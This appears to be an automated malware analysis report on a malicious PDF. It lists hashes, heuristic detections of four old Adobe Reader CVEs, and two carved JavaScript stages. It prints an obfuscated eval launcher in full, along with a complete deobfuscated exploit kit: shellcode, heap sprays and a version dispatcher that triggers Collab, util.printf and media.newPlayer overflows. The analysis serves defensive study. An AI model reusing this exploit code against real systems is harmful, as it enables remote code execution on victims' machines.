Malicious PDF — malware analysis report

Static analysis result for SHA-256 6119783f07321a09…

MALICIOUS

PDF

26.1 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2015-10-04
MD5: b2e8d50afe13a46f9aa62778d302b0f4 SHA-1: cb45075653bc6eb100a0860056fc320515a9bf20 SHA-256: 6119783f07321a09870c64867efc59eded91fc146b6ff08c87c9fa7383dd63ae
556 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    eval('KdAko=t'+Velizjoruzi+JorazyFad);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 903 bytes
SHA-256: bfbc4356f76e02110b91178563048b01793af1c97c3cb5f29184fc5a5e968054
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
SuwFtof='';
KcExt=2011;
var j = KcExt-2007;
Velizjoruzi='2011s'.replace(KcExt,'hi');
JorazyFad=('.tit2011').replace(KcExt,'le');
eval('KdAko=t'+Velizjoruzi+JorazyFad);
XepynalabylyClaveg=('sub2011').replace(KcExt,'ject');
eval('DuheVutuhu=t'+Velizjoruzi+'.'+XepynalabylyClaveg);
DuheVutuhu=DuheVutuhu.replace(KcExt,'al');
eval('KizynpsuvatuJpuh=t'+Velizjoruzi);
eval('NderyMereqafipa=KizynpsuvatuJpuh[DuheVutuhu]');
WujjhelPafaegucuw='.pro2011cer';
WujjhelPafaegucuw=NderyMereqafipa('WujjhelPafaegucuw.replace(KcExt,"du")');
eval('MycyhewyicSf=t'+Velizjoruzi+WujjhelPafaegucuw);
NigOlovqi=NderyMereqafipa(MycyhewyicSf);
JebicePbojamabui = KdAko.split(',');
for (VbemyfaGjogiwe = 0; VbemyfaGjogiwe < JebicePbojamabui.length; VbemyfaGjogiwe++) {
	FuxotiNyboduz = NderyMereqafipa(JebicePbojamabui[VbemyfaGjogiwe]);
	SuwFtof += NigOlovqi(FuxotiNyboduz);
}
NderyMereqafipa(SuwFtof);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title arithmetic JavaScript at offset 0x444 3692 bytes
SHA-256: 92415b406a20e3923b40182d54affce62cfb7b33abfbe7616bd38fff8d7c4e08
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16EB%u49B9%u0001%u8B00%u2434%uF789%u3E80%u74E9%uAC06%u3634%uE2AA%uC3FA%uE5E8%uFFFF%uDFFF%u373A%u3636%uB768%u6ADA%u3637%uBF36%uBBD1%u2679%u59BB%u0762%u61ED%u6567%u6565%u6565%u6565%u6563%u5E65%u3732%u3636%u6063%u5E65%u5859%u3636%u435E%u5A44%u625B%uB85E%u3878%uDEDA%u367E%u3636%uDE66%u364A%u3636%uE6C9%uF2B5%u5E3E%uD979%u3379%uDE66%u365A%u3636%uE6C9%uF6B3%u2143%u625C%uC56F%u5E9C%uC844%u2085%u2BDE%u3636%u6636%u67DE%u3636%uC936%u65E6%uC85C%uBF5E%u3759%uDE8B%u363E%u3636%uDE66%u360A%u3636%uE6C9%u0756%u52F6%u66BD%uBD06%u3A64%u64BD%uBD22%u1E44%u2E8F%u3636%u0736%u07C9%u9AF6%u570A%u344A%u161A%uF9F7%u373B%uD4F1%uB7C6%u6DC9%u7C8A%uBD5C%u2674%u24BD%uEF43%u72BF%u2A12%uF557%uBD56%u125A%uBD12%u0A73%u62BD%u4E33%uDC37%u7CBD%uBD2E%u166C%uDD37%u02D5%uBD7F%uBD02%uD837%uC907%uF607%u9ACA%uF6B2%u3142%uF9F7%u373B%uDDF1%u0DC2%u124A%u431E%uBDD7%u126C%uDD37%uBD50%u7D3A%u6CBD%u372A%uBDDD%uBD32%uDE37%u72BF%u2A12%uF457%u363E%uD9DE%uC9C8%u5EC9%u4242%u0C46%u1919%u5754%u5A5A%u5257%u5A59%u455F%u5518%u184C%u5555%u5919%u4243%u4618%u465E%u5709%u670B%u5D67%u7373%u555D%u747C%u0B77%u100B%u0B46%u3601';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 

aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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